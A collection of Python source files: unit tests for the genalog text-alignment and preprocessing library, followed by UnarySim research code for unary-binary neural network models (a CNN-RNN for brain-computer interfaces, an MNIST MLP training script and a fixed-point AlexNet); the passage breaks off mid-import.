blob_client.delete_blobs_folder(dst_folder) assert ( len(list(blob_client.list_blobs(dst_folder)[0])) == 0 ), f"folder {dst_folder} was not deleted" @pytest.mark.skip(reason=( "Flaky test. Going to deprecate the ocr module in favor of the official python SDK:\n" "https://docs.microsoft.com/en-us/azure/cognitive-services/computer-vision/quickstarts-sdk/client-library?tabs=visual-studio&pivots=programming-language-python" # noqa:E501 )) @pytest.mark.azure class TestGROKe2e: @pytest.mark.parametrize("use_async", [False]) def test_grok_e2e(self, tmpdir, use_async): grok = Grok.create_from_env_var() src_folder = "tests/unit/ocr/data/img" grok.run_grok( src_folder, tmpdir, blob_dest_folder="testimages", use_async=use_async, cleanup=True, ) assert json.load(open(f"{tmpdir}/0.json", "r"))[0]["text"] assert json.load(open(f"{tmpdir}/1.json", "r"))[0]["text"] assert json.load(open(f"{tmpdir}/11.json", "r"))[0]["text"] ``` #### File: unit/text/test_alignment.py ```python import warnings from random import randint from unittest.mock import MagicMock import pytest from genalog.text import alignment from tests.unit.cases.text_alignment import ALIGNMENT_REGRESSION_TEST_CASES from tests.unit.cases.text_alignment import PARSE_ALIGNMENT_REGRESSION_TEST_CASES MOCK_ALIGNMENT_RESULT = [("X", "X", 0, 0, 1)] @pytest.fixture(scope="function") def random_num_gap_char(): return alignment.GAP_CHAR*randint(1, 100) # Settup mock for third party library call @pytest.fixture def mock_pairwise2_align(monkeypatch): mock = MagicMock() def mock_globalcs(*args, **kwargs): mock.globalcs(*args, **kwargs) return MOCK_ALIGNMENT_RESULT # replace target method reference with the mock method monkeypatch.setattr("Bio.pairwise2.align.globalcs", mock_globalcs) return mock def test__align_seg(mock_pairwise2_align): # setup method input required_arg = ("A", "B") optional_arg = ( alignment.MATCH_REWARD, alignment.MISMATCH_PENALTY, alignment.GAP_PENALTY, alignment.GAP_EXT_PENALTY, ) optional_kwarg = { "gap_char": alignment.GAP_CHAR, "one_alignment_only": alignment.ONE_ALIGNMENT_ONLY, } # test method result = alignment._align_seg(*required_arg + optional_arg, **optional_kwarg) # assertion mock_pairwise2_align.globalcs.assert_called() assert result == MOCK_ALIGNMENT_RESULT @pytest.mark.parametrize( "alignments, target_num_tokens, raised_exception", [ (MOCK_ALIGNMENT_RESULT, 1, None), (MOCK_ALIGNMENT_RESULT, 2, ValueError), ([("X", "XY", 0, 0, 1)], 1, ValueError), ], ) def test__select_alignment_candidates(alignments, target_num_tokens, raised_exception): if raised_exception: with pytest.raises(raised_exception): alignment._select_alignment_candidates(alignments, target_num_tokens) else: result = alignment._select_alignment_candidates(alignments, target_num_tokens) assert result == MOCK_ALIGNMENT_RESULT[0] @pytest.mark.parametrize( "s, index, desired_output, raised_exception", [ # Test exceptions ("s", 2, None, IndexError), ("", -1, None, ValueError), # Empty case # Index at start of string (" token", 0, 2, None), ("\t\ntoken", 0, 2, None), # Index reach end of string ("token ", 5, 5, None), ("token", 4, 4, None), # Index in-between tokens ("token", 0, 0, None), ("t1 t2", 2, 7, None), ("t1 \t \n t2", 3, 7, None), # Gap char (" @", 0, 1, None), ], ) def test__find_token_start(s, index, desired_output, raised_exception): if raised_exception: with pytest.raises(raised_exception): alignment._find_token_start(s, index) else: output = alignment._find_token_start(s, index) assert output == desired_output @pytest.mark.parametrize( "s, index, desired_output, raised_exception", [ # Test exceptions ("s", 2, None, IndexError), ("", -1, None, ValueError), # Empty case # Index at start of string (" ", 0, 0, None), ("\t\ntoken", 0, 0, None), ("token", 0, 4, None), ("token\t", 0, 5, None), ("token\n", 0, 5, None), # Index reach end of string ("token ", 5, 5, None), ("token", 4, 4, None), # Single Char (".", 0, 0, None), # Gap char ("@@ @", 0, 2, None), ], ) def test__find_token_end(s, index, desired_output, raised_exception): if raised_exception: with pytest.raises(raised_exception): alignment._find_token_end(s, index) else: output = alignment._find_token_end(s, index) assert output == desired_output @pytest.mark.parametrize( "s, start, desired_output", [ ("token", 0, (0, 4)), ("token\t", 0, (0, 5)), ("token \n", 0, (0, 5)), (" token ", 0, (1, 6)), # mix with GAP_CHAR (" @@@@ ", 0, (1, 5)), ("\n\t tok@n@@ \n\t", 0, (3, 10)), # single character string ("s", 0, (0, 0)), # punctuation (" !,.: ", 0, (2, 6)), ], ) def test__find_next_token(s, start, desired_output): output = alignment._find_next_token(s, start) assert output == desired_output @pytest.mark.parametrize( "token, desired_output", [ # Valid tokens ("\n\t token.!,:\n\t ", True), ("token", True), (" @@@t@@@ ", True), ("@@token@@", True), (" @@token@@ ", True), ("t1{}t2", True), # i.e. 't1@t2' # injects arbitrary number of gap chars # Invalid tokens (i.e. multiples of the GAP_CHAR) ("", False), (" ", False), ("@@", False), (" @@ ", False), ("\t\n@", False), (alignment.GAP_CHAR, False), ("{}", False), # injects arbitrary number of gap chars ("\n\t {} \n\t", False), # injects arbitrary number of gap chars ], ) def test__is_valid_token(random_num_gap_char, token, desired_output): token = token.format(random_num_gap_char) result = alignment._is_valid_token(token) assert result == desired_output @pytest.mark.parametrize( "aligned_gt, aligned_noise," + "expected_gt_to_noise_map, expected_noise_to_gt_map", PARSE_ALIGNMENT_REGRESSION_TEST_CASES, ) def test_parse_alignment( aligned_gt, aligned_noise, expected_gt_to_noise_map, expected_noise_to_gt_map ): gt_to_noise_map, noise_to_gt_map = alignment.parse_alignment( aligned_gt, aligned_noise ) assert gt_to_noise_map == expected_gt_to_noise_map assert noise_to_gt_map == expected_noise_to_gt_map @pytest.mark.parametrize( "gt_txt, noisy_txt," + "expected_aligned_gt, expected_aligned_noise", ALIGNMENT_REGRESSION_TEST_CASES, ) def test_align(gt_txt, noisy_txt, expected_aligned_gt, expected_aligned_noise): aligned_gt, aligned_noise = alignment.align(gt_txt, noisy_txt) if aligned_gt != expected_aligned_gt: expected_alignment = alignment._format_alignment( expected_aligned_gt, expected_aligned_noise ) result_alignment = alignment._format_alignment(aligned_gt, aligned_noise) warnings.warn( RuntimeWarning( f"\n\n****Expect alignment returns:****\n{expected_alignment} \n****But got:****\n{result_alignment}" ) ) ``` #### File: unit/text/test_preprocess.py ```python import pytest from genalog.text import preprocess from genalog.text.alignment import GAP_CHAR @pytest.mark.parametrize( "token, replacement, desired_output", [ ("", "_", ""), # Do nothing to empty string (" ", "_", " "), # Do nothing to whitespaces (" \n\t", "_", " \n\t"), ("ascii", "_", "ascii"), ("a s\nc\tii", "_", "a s\nc\tii"), ("ascii·", "_", "ascii"), # Tokens with non-ASCII values ("·", "_", "_"), # Tokens with non-ASCII values ], ) def test_remove_non_ascii(token, replacement, desired_output): for code in range(128, 1000): # non-ASCII values token.replace("·", chr(code)) output = preprocess.remove_non_ascii(token, replacement) assert output == desired_output @pytest.mark.parametrize( "s, desired_output", [ (" New \t \n", ["New"]), # Mixed in gap char "@" (" @ @", ["@", "@"]), ("New York is big", ["New", "York", "is", "big"]), # Mixed multiple spaces and tabs (" New York \t is \t big", ["New", "York", "is", "big"]), # Mixed in punctuation ("New .York is, big !", ["New", ".York", "is,", "big", "!"]), # Mixed in gap char "@" ("@N@ew York@@@is,\t big@@@@@", ["@N@ew", "York@@@is,", "big@@@@@"]), ], ) def test_tokenize(s, desired_output): output = preprocess.tokenize(s) assert output == desired_output @pytest.mark.parametrize( "tokens, desired_output", [ ( ["New", "York", "is", "big"], "New York is big", ), # Mixed in punctuation ( ["New", ".York", "is,", "big", "!"], "New .York is, big !", ), # Mixed in gap char "@" ( ["@N@ew", "York@@@is,", "big@@@@@"], "@N@ew York@@@is, big@@@@@", ), ], ) def test_join_tokens(tokens, desired_output): output = preprocess.join_tokens(tokens) assert output == desired_output @pytest.mark.parametrize( "c, desired_output", [ # Gap char (GAP_CHAR, False), # Alphabet char ("a", False), ("A", False), # Punctuation (".", False), ("!", False), (",", False), ("-", False), # Token separators (" ", True), ("\n", True), ("\t", True), ], ) def test__is_spacing(c, desired_output): assert desired_output == preprocess._is_spacing(c) @pytest.mark.parametrize( "text, desired_output", [ ("", ""), ("w .", "w ."), ("w !", "w !"), ("w ?", "w ?"), ("w /.", "w /."), ("w /!", "w /!"), ("w /?", "w /?"), ("w1 , w2 .", "w1 , w2 ."), ("w1 . w2 .", "w1 . \nw2 ."), ("w1 /. w2 /.", "w1 /. \nw2 /."), ("w1 ! w2 .", "w1 ! \nw2 ."), ("w1 /! w2 /.", "w1 /! \nw2 /."), ("w1 ? w2 .", "w1 ? \nw2 ."), ("w1 /? w2 /.", "w1 /? \nw2 /."), ("U.S. . w2 .", "U.S. . \nw2 ."), ("w1 ??? w2 .", "w1 ??? w2 ."), # not splitting ("w1 !!! w2 .", "w1 !!! w2 ."), ("w1 ... . w2 .", "w1 ... . \nw2 ."), ("w1 ... /. w2 /.", "w1 ... /. \nw2 /."), ("w1 /. /. w2 .", "w1 /. /. \nw2 ."), ("w1 /. /.", "w1 /. \n/."), ("w1 /. /. ", "w1 /. /. \n"), ("w1 ? ? ? ? w2 .", "w1 ? ? ? ? \nw2 ."), ("w1 /? /? /? /? w2 /.", "w1 /? /? /? /? \nw2 /."), ("w1 ! ! ! ! w2 .", "w1 ! ! ! ! \nw2 ."), ("w1 /! /! /! /! w2 /.", "w1 /! /! /! /! \nw2 /."), ], ) def test_split_sentences(text, desired_output): assert desired_output == preprocess.split_sentences(text) @pytest.mark.parametrize( "token, desired_output", [ ("", False), (" ", False), ("\n", False), ("\t", False), (" \n \t", False), ("...", False), ("???", False), ("!!!", False), (".", True), ("!", True), ("?", True), ("/.", True), ("/!", True), ("/?", True), ], ) def test_is_sentence_separator(token, desired_output): assert desired_output == preprocess.is_sentence_separator(token) ```
{ "source": "jingjieli95/UnarySim", "score": 2 }
#### File: uBrain/model/model_hub.py ```python import math import warnings import numbers from typing import List, Tuple, Optional, overload, Union import torch import torch.nn as nn import torch.nn.functional as F from UnarySim.kernel.conv import HUBConv2d from UnarySim.kernel.linear import HUBLinear from UnarySim.kernel.sigmoid import ScaleHardsigmoid from UnarySim.kernel.relu import ScaleReLU from UnarySim.kernel.rnn import HUBMGUCell, HardMGUCell from UnarySim.metric.metric import SourceGen, RNG, BSGen, ProgError from UnarySim.kernel.utils import progerror_report class Cascade_CNN_RNN(torch.nn.Module): """ This is the hybrid unary binary version of the cascade CNN RNN for BCI, i.e., uBrain """ def __init__(self, input_sz=[10, 11], linear_act="scalerelu", cnn_chn=16, cnn_kn_sz=3, cnn_padding=1, # default perform same conv fc_sz=256, rnn="mgu", rnn_win_sz=10, rnn_hidden_sz=64, rnn_hard=True, bias=False, init_std=None, keep_prob=0.5, num_class=[5, 2], bitwidth_tc=8, bitwidth_rc=8, rng="Sobol", conv1_weight=None, conv1_bias=None, conv2_weight=None, conv2_bias=None, fc3_weight=None, fc3_bias=None, rnn4_weight_f=None, rnn4_bias_f=None, rnn4_weight_n=None, rnn4_bias_n=None, fc5_weight=None, fc5_bias=None, depth=10, depth_ismul=5): super(Cascade_CNN_RNN, self).__init__() self.input_sz = input_sz self.cnn_chn = cnn_chn self.cnn_kn_sz = cnn_kn_sz self.cnn_padding = cnn_padding self.fc_sz = fc_sz self.rnn_win_sz = rnn_win_sz self.rnn_hidden_sz = rnn_hidden_sz self.bias = bias self.num_class = num_class self.bitwidth_tc = bitwidth_tc self.bitwidth_rc = bitwidth_rc self.rng = rng self.conv1_weight = conv1_weight self.conv1_bias = conv1_bias self.conv2_weight = conv2_weight self.conv2_bias = conv2_bias self.fc3_weight = fc3_weight self.fc3_bias = fc3_bias self.rnn4_weight_f = rnn4_weight_f self.rnn4_bias_f = rnn4_bias_f self.rnn4_weight_n = rnn4_weight_n self.rnn4_bias_n = rnn4_bias_n self.fc5_weight = fc5_weight self.fc5_bias = fc5_bias self.cycle_tc = 2**(bitwidth_tc-1) self.mode = "bipolar" # CNN self.conv1 = HUBConv2d(1 , cnn_chn , (cnn_kn_sz, cnn_kn_sz), bias=bias, padding=cnn_padding, binary_weight=self.conv1_weight, binary_bias=self.conv1_bias, rng=self.rng, cycle=self.cycle_tc) self.conv2 = HUBConv2d(cnn_chn , cnn_chn*2, (cnn_kn_sz, cnn_kn_sz), bias=bias, padding=cnn_padding, binary_weight=self.conv2_weight, binary_bias=self.conv2_bias, rng=self.rng, cycle=self.cycle_tc) self.fc3 = HUBLinear((input_sz[0]+2*2*(cnn_padding-1))*(input_sz[1]+2*2*(cnn_padding-1))*cnn_chn*2, fc_sz, bias=bias, binary_weight=self.fc3_weight, binary_bias=self.fc3_bias, rng=self.rng, cycle=self.cycle_tc) self.fc3_drop = nn.Dropout(p=1-keep_prob) # RNN if rnn.lower() == "mgu": self.rnncell4 = HUBMGUCell(fc_sz, rnn_hidden_sz, bias=bias, binary_weight_f=self.rnn4_weight_f, binary_bias_f=self.rnn4_bias_f, binary_weight_n=self.rnn4_weight_n, binary_bias_n=self.rnn4_bias_n, rng=rng, bitwidth=bitwidth_rc, mode=self.mode, depth=depth, depth_ismul=depth_ismul) else: print("rnn type needs to be 'mgu'.") # MLP self.fc5 = HUBLinear(rnn_hidden_sz, sum(num_class), bias=bias, binary_weight=self.fc5_weight, binary_bias=self.fc5_bias, rng=self.rng, cycle=self.cycle_tc) self.linear_act = linear_act.lower() if self.linear_act == "scalehardsigmoid": self.conv1_act = ScaleHardsigmoid() self.conv2_act = ScaleHardsigmoid() self.fc3_act = ScaleHardsigmoid() elif self.linear_act == "scalerelu": self.conv1_act = ScaleReLU() self.conv2_act = ScaleReLU() self.fc3_act = ScaleReLU() elif self.linear_act == "sigmoid": self.conv1_act = nn.Sigmoid() self.conv2_act = nn.Sigmoid() self.fc3_act = nn.Sigmoid() elif self.linear_act == "hardtanh": self.conv1_act = nn.Hardtanh() self.conv2_act = nn.Hardtanh() self.fc3_act = nn.Hardtanh() elif self.linear_act == "tanh": self.conv1_act = nn.Tanh() self.conv2_act = nn.Tanh() self.fc3_act = nn.Tanh() elif self.linear_act == "relu": self.conv1_act = nn.ReLU() self.conv2_act = nn.ReLU() self.fc3_act = nn.ReLU() elif self.linear_act == "relu6": self.conv1_act = nn.ReLU6() self.conv2_act = nn.ReLU6() self.fc3_act = nn.ReLU6() elif self.linear_act == "elu": self.conv1_act = nn.ELU() self.conv2_act = nn.ELU() self.fc3_act = nn.ELU() def forward(self, input, binary_fm_dict=None): # input is (batch, win, h, w) # CNN self.conv1_i = input.view(-1, 1, self.input_sz[0], self.input_sz[1]) self.conv1_o = self.conv1(self.conv1_i) self.conv1_act_o = self.conv1_act(self.conv1_o) self.conv2_o = self.conv2(self.conv1_act_o) self.conv2_act_o = self.conv2_act(self.conv2_o) self.fc3_i = self.conv2_act_o.view(self.conv2_act_o.shape[0], -1) self.fc3_o = self.fc3(self.fc3_i) self.fc3_act_o = self.fc3_act(self.fc3_o) self.fc3_drop_o = self.fc3_drop(self.fc3_act_o) self.fc3_view_o = self.fc3_drop_o.view(-1, self.rnn_win_sz, self.fc_sz) self.fc3_trans_o = self.fc3_view_o.transpose(0, 1) # RNN self.rnn_out = [] hx = torch.zeros(self.fc3_trans_o[0].size()[0], self.rnn_hidden_sz, dtype=input.dtype, device=input.device) for i in range(self.rnn_win_sz): hx = self.rnncell4(self.fc3_trans_o[i], hx) self.rnn_out.append(hx) # MLP self.fc5_i = self.rnn_out[-1] self.fc5_o = self.fc5(self.fc5_i) return nn.Hardtanh()(self.fc5_o) class Cascade_CNN_RNN_fp_rnn(torch.nn.Module): """ This is the hybrid unary binary version of the cascade CNN RNN for BCI, i.e., uBrain But the rnn is in fp format, so that entire model is trainable. """ def __init__(self, input_sz=[10, 11], linear_act="scalerelu", cnn_chn=16, cnn_kn_sz=3, cnn_padding=1, # default perform same conv fc_sz=256, rnn="mgu", rnn_win_sz=10, rnn_hidden_sz=64, rnn_hard=True, bias=False, init_std=None, keep_prob=0.5, num_class=[5, 2], bitwidth_tc=8, bitwidth_rc=8, rng="Sobol", conv1_weight=None, conv1_bias=None, conv2_weight=None, conv2_bias=None, fc3_weight=None, fc3_bias=None, rnn4_weight_f=None, rnn4_bias_f=None, rnn4_weight_n=None, rnn4_bias_n=None, fc5_weight=None, fc5_bias=None, depth=10, depth_ismul=5): super(Cascade_CNN_RNN, self).__init__() self.input_sz = input_sz self.cnn_chn = cnn_chn self.cnn_kn_sz = cnn_kn_sz self.cnn_padding = cnn_padding self.fc_sz = fc_sz self.rnn_win_sz = rnn_win_sz self.rnn_hidden_sz = rnn_hidden_sz self.bias = bias self.num_class = num_class self.bitwidth_tc = bitwidth_tc self.bitwidth_rc = bitwidth_rc self.rng = rng self.conv1_weight = conv1_weight self.conv1_bias = conv1_bias self.conv2_weight = conv2_weight self.conv2_bias = conv2_bias self.fc3_weight = fc3_weight self.fc3_bias = fc3_bias self.rnn4_weight_f = rnn4_weight_f self.rnn4_bias_f = rnn4_bias_f self.rnn4_weight_n = rnn4_weight_n self.rnn4_bias_n = rnn4_bias_n self.fc5_weight = fc5_weight self.fc5_bias = fc5_bias self.cycle_tc = 2**(bitwidth_tc-1) self.mode = "bipolar" # CNN self.conv1 = HUBConv2d(1 , cnn_chn , (cnn_kn_sz, cnn_kn_sz), bias=bias, padding=cnn_padding, binary_weight=self.conv1_weight, binary_bias=self.conv1_bias, rng=self.rng, cycle=self.cycle_tc) self.conv2 = HUBConv2d(cnn_chn , cnn_chn*2, (cnn_kn_sz, cnn_kn_sz), bias=bias, padding=cnn_padding, binary_weight=self.conv2_weight, binary_bias=self.conv2_bias, rng=self.rng, cycle=self.cycle_tc) self.fc3 = HUBLinear((input_sz[0]+2*2*(cnn_padding-1))*(input_sz[1]+2*2*(cnn_padding-1))*cnn_chn*2, fc_sz, bias=bias, binary_weight=self.fc3_weight, binary_bias=self.fc3_bias, rng=self.rng, cycle=self.cycle_tc) self.fc3_drop = nn.Dropout(p=1-keep_prob) # RNN if rnn.lower() == "mgu": self.rnncell4 = HardMGUCell(fc_sz, rnn_hidden_sz, bias=bias, hard=rnn_hard) else: print("rnn type needs to be 'mgu'.") # MLP self.fc5 = HUBLinear(rnn_hidden_sz, sum(num_class), bias=bias, binary_weight=self.fc5_weight, binary_bias=self.fc5_bias, rng=self.rng, cycle=self.cycle_tc) self.linear_act = linear_act.lower() if self.linear_act == "scalehardsigmoid": self.conv1_act = ScaleHardsigmoid() self.conv2_act = ScaleHardsigmoid() self.fc3_act = ScaleHardsigmoid() elif self.linear_act == "scalerelu": self.conv1_act = ScaleReLU() self.conv2_act = ScaleReLU() self.fc3_act = ScaleReLU() elif self.linear_act == "sigmoid": self.conv1_act = nn.Sigmoid() self.conv2_act = nn.Sigmoid() self.fc3_act = nn.Sigmoid() elif self.linear_act == "hardtanh": self.conv1_act = nn.Hardtanh() self.conv2_act = nn.Hardtanh() self.fc3_act = nn.Hardtanh() elif self.linear_act == "tanh": self.conv1_act = nn.Tanh() self.conv2_act = nn.Tanh() self.fc3_act = nn.Tanh() elif self.linear_act == "relu": self.conv1_act = nn.ReLU() self.conv2_act = nn.ReLU() self.fc3_act = nn.ReLU() elif self.linear_act == "relu6": self.conv1_act = nn.ReLU6() self.conv2_act = nn.ReLU6() self.fc3_act = nn.ReLU6() elif self.linear_act == "elu": self.conv1_act = nn.ELU() self.conv2_act = nn.ELU() self.fc3_act = nn.ELU() def forward(self, input, binary_fm_dict=None): # input is (batch, win, h, w) # CNN self.conv1_i = input.view(-1, 1, self.input_sz[0], self.input_sz[1]) self.conv1_o = self.conv1(self.conv1_i) self.conv1_act_o = self.conv1_act(self.conv1_o) self.conv2_o = self.conv2(self.conv1_act_o) self.conv2_act_o = self.conv2_act(self.conv2_o) self.fc3_i = self.conv2_act_o.view(self.conv2_act_o.shape[0], -1) self.fc3_o = self.fc3(self.fc3_i) self.fc3_act_o = self.fc3_act(self.fc3_o) self.fc3_drop_o = self.fc3_drop(self.fc3_act_o) self.fc3_view_o = self.fc3_drop_o.view(-1, self.rnn_win_sz, self.fc_sz) self.fc3_trans_o = self.fc3_view_o.transpose(0, 1) # RNN self.rnn_out = [] hx = torch.zeros(self.fc3_trans_o[0].size()[0], self.rnn_hidden_sz, dtype=input.dtype, device=input.device) for i in range(self.rnn_win_sz): hx = self.rnncell4(self.fc3_trans_o[i], hx) self.rnn_out.append(hx) # MLP self.fc5_i = self.rnn_out[-1] self.fc5_o = self.fc5(self.fc5_i) return nn.Hardtanh()(self.fc5_o) ``` #### File: app/uBrain/test_mlp_train_hard_act.py ```python import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision import torchvision.transforms as transforms from torchsummaryX import summary import matplotlib.pyplot as plt import time import os from UnarySim.kernel.utils import * # %% cwd = os.getcwd() cwd = "D:/project/Anaconda3/Lib/site-packages/UnarySim/sw/app/mlp/" print(cwd) # %% device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") print(device) # %% # MNIST data loader transform=transforms.Compose([transforms.Resize((32, 32)), transforms.ToTensor()]) trainset = torchvision.datasets.MNIST(root=cwd+'/data/mnist', train=True, download=True, transform=transform) trainloader = torch.utils.data.DataLoader(trainset, batch_size=128, shuffle=True, num_workers=4) testset = torchvision.datasets.MNIST(root=cwd+'/data/mnist', train=False, download=True, transform=transform) testloader = torch.utils.data.DataLoader(testset, batch_size=128, num_workers=4) # %% layer_width = 512 total_epoch = 40 lr = 0.001 print(total_epoch) # %% class ScaleReLU1(nn.Hardtanh): """ clip the input when it is larger than 1. """ def __init__(self, inplace: bool = False): super(ScaleReLU1, self).__init__(0., 1., inplace) def extra_repr(self) -> str: inplace_str = 'inplace=True' if self.inplace else '' return inplace_str # %% class ScaleHardsigmoid(nn.Module): """ valid input range is (-1, +1). """ def __init__(self, scale=3): super(ScaleHardsigmoid, self).__init__() self.scale = scale def forward(self, x) -> str: return nn.Hardsigmoid()(x * self.scale) # %% class MLP3_hardsig(nn.Module): def __init__(self, width=512, p=0.5): super(MLP3_hardsig, self).__init__() self.fc1 = nn.Linear(32*32, width) self.fc2 = nn.Linear(width, width) self.fc3 = nn.Linear(width, 10) self.fc1_out = torch.zeros(1) self.do1 = nn.Dropout(p=p) self.relu1_out = torch.zeros(1) self.fc2_out = torch.zeros(1) self.do2 = nn.Dropout(p=p) self.relu2_out = torch.zeros(1) self.fc3_out = torch.zeros(1) def forward(self, x): x = x.view(-1, 32*32) self.fc1_out = self.fc1(x) # self.relu1_out = ScaleHardsigmoid()(self.do1(self.fc1_out)) self.relu1_out = nn.Sigmoid()(self.do1(self.fc1_out)) # self.relu1_out = nn.Hardtanh()(self.do1(self.fc1_out)) # self.relu1_out = nn.Tanh()(self.do1(self.fc1_out)) # self.relu1_out = F.relu6(self.do1(self.fc1_out)) # self.relu1_out = ScaleReLU1()(self.do1(self.fc1_out)) # self.relu1_out = F.relu(self.do1(self.fc1_out)) self.fc2_out = self.fc2(self.relu1_out) # self.relu2_out = ScaleHardsigmoid()(self.do2(self.fc2_out)) self.relu2_out = nn.Sigmoid()(self.do2(self.fc2_out)) # self.relu2_out = nn.Hardtanh()(self.do2(self.fc2_out)) # self.relu2_out = nn.Tanh()(self.do2(self.fc2_out)) # self.relu2_out = F.relu6(self.do2(self.fc2_out)) # self.relu2_out = ScaleReLU1()(self.do2(self.fc2_out)) # self.relu2_out = F.relu(self.do2(self.fc2_out)) self.fc3_out = self.fc3(self.relu2_out) return F.softmax(self.fc3_out, dim=1) # %% model = MLP3_hardsig(layer_width) model.to(device) summary(model, torch.zeros((1, 1, 32, 32)).to(device)) # %% bitwidth = 8 clipper = NN_SC_Weight_Clipper(bitwidth=bitwidth) # %% criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr) # %% for epoch in range(total_epoch): # loop over the dataset multiple times model.train() running_loss = 0.0 for i, data in enumerate(trainloader, 0): # get the inputs; data is a list of [inputs, labels] inputs, labels = data[0].to(device), data[1].to(device) # zero the parameter gradients optimizer.zero_grad() # forward + backward + optimize outputs = model(inputs) loss = criterion(outputs, labels) loss.backward() optimizer.step() model.eval() # model.apply(clipper) correct = 0 total = 0 with torch.no_grad(): for data in testloader: images, labels = data[0].to(device), data[1].to(device) outputs = model(images) _, predicted = torch.max(outputs.data, 1) total += labels.size()[0] correct += (predicted == labels).sum().item() print('Train - Epoch %d, Loss: %f, Test Accuracy: %f %%' \ % (epoch, loss.detach().cpu().item(), 100 * correct / total)) print('Finished Training') # %% """ ScaleHardsigmoid: 95 sigmoid: 94 Hardtanh: 97 Tanh: 97 relu6: 97 ScaleReLU1: 97 relu: 97 """ # %% ``` #### File: app/uBrain/test_truncnorm.py ```python import torch import matplotlib.pyplot as plt def truncated_normal(t, mean=0.0, std=0.01): torch.nn.init.normal_(t, mean=mean, std=std) while True: cond = torch.logical_or(t < mean - 2*std, t > mean + 2*std) if torch.sum(cond): t = torch.where(cond, torch.nn.init.normal_(torch.ones(t.shape), mean=mean, std=std), t) else: break return t def test_truncnorm(): fig, ax = plt.subplots(1, 1) size = 1000000 tensor = torch.zeros(size) tensor = truncated_normal(tensor, std=0.05) r = tensor.numpy() ax.hist(r, density=True, histtype='stepfilled', alpha=0.2, bins=50, label="truncated_normal") tensor = torch.zeros(int(size/1000), int(size/1000)) tensor = torch.nn.init.xavier_normal_(tensor) r = tensor.numpy().flatten() ax.hist(r, density=True, histtype='stepfilled', alpha=0.2, bins=50, label="xavier") tensor = torch.zeros(int(size/1000), int(size/1000)) tensor = torch.nn.init.kaiming_normal_(tensor) r = tensor.numpy().flatten() ax.hist(r, density=True, histtype='stepfilled', alpha=0.2, bins=50, label="kaiming") ax.legend(loc='best', frameon=False) plt.show() if __name__ == '__main__': test_truncnorm() ``` #### File: uSystolic/alexnet_imagenet/alexnet_fxp.py ```python import torch import torch.nn as nn from torchvision.models.utils import load_state_dict_from_url from UnarySim.kernel.conv import FxpConv2d from UnarySim.kernel.linear import FxpLinear from UnarySim.kernel.utils import conv2d_output_shape __all__ = ['AlexNet', 'alexnet'] model_urls = { 'alexnet': 'https://download.pytorch.org/models/alexnet-owt-4df8aa71.pth', } class AlexNet(nn.Module): def __init__(self, num_classes=1000, pretrained_model_state_dict=None, bitwidth=None, keep_res="input", more_res="input"): super(AlexNet, self).__init__() if pretrained_model_state_dict is None: self.features = nn.Sequential( FxpConv2d(3, 64, kernel_size=11, stride=4, padding=2, keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=3, stride=2), FxpConv2d(64, 192, kernel_size=5, padding=2, keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=3, stride=2), FxpConv2d(192, 384, kernel_size=3, padding=1, keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), FxpConv2d(384, 256, kernel_size=3, padding=1, keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), FxpConv2d(256, 256, kernel_size=3, padding=1, keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=3, stride=2), ) self.avgpool = nn.AdaptiveAvgPool2d((6, 6)) self.classifier = nn.Sequential( nn.Dropout(), FxpLinear(256 * 6 * 6, 4096, keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), nn.Dropout(), FxpLinear(4096, 4096, keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), FxpLinear(4096, num_classes, keep_res=keep_res, more_res=more_res), ) else: param_list = [param for param in pretrained_model_state_dict] print("load model parameters: ", param_list) state_list = [pretrained_model_state_dict[param] for param in param_list] # output_size_list = [] # output_size_list[0] = self.features = nn.Sequential( FxpConv2d(3, 64, kernel_size=11, stride=4, padding=2, binary_weight=state_list[0], binary_bias=state_list[1], bitwidth=bitwidth[0], keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=3, stride=2), FxpConv2d(64, 192, kernel_size=5, padding=2, binary_weight=state_list[2], binary_bias=state_list[3], bitwidth=bitwidth[1], keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=3, stride=2), FxpConv2d(192, 384, kernel_size=3, padding=1, binary_weight=state_list[4], binary_bias=state_list[5], bitwidth=bitwidth[2], keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), FxpConv2d(384, 256, kernel_size=3, padding=1, binary_weight=state_list[6], binary_bias=state_list[7], bitwidth=bitwidth[3], keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), FxpConv2d(256, 256, kernel_size=3, padding=1, binary_weight=state_list[8], binary_bias=state_list[9], bitwidth=bitwidth[4], keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=3, stride=2), ) self.avgpool = nn.AdaptiveAvgPool2d((6, 6)) self.classifier = nn.Sequential( nn.Dropout(), FxpLinear(256 * 6 * 6, 4096, binary_weight=state_list[10], binary_bias=state_list[11], bitwidth=bitwidth[5], keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), nn.Dropout(), FxpLinear(4096, 4096, binary_weight=state_list[12], binary_bias=state_list[13], bitwidth=bitwidth[6], keep_res=keep_res, more_res=more_res), nn.ReLU(inplace=True), FxpLinear(4096, num_classes, binary_weight=state_list[14], binary_bias=state_list[15], bitwidth=bitwidth[7], keep_res=keep_res, more_res=more_res), ) def forward(self, x): x = self.features(x) x = self.avgpool(x) x = torch.flatten(x, 1) x = self.classifier(x) return x def alexnet(pretrained=False, progress=True, **kwargs): r"""AlexNet model architecture from the `"One weird trick..." <https://arxiv.org/abs/1404.5997>`_ paper. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ if pretrained: state_dict = load_state_dict_from_url(model_urls['alexnet'], progress=progress) else: state_dict = None model = AlexNet(pretrained_model_state_dict=state_dict, **kwargs) return model ``` #### File: uSystolic/result_plot/model_size_report.py ```python import torch import torch.nn as nn import torch.nn.functional as F import torchvision import torchvision.models as models from 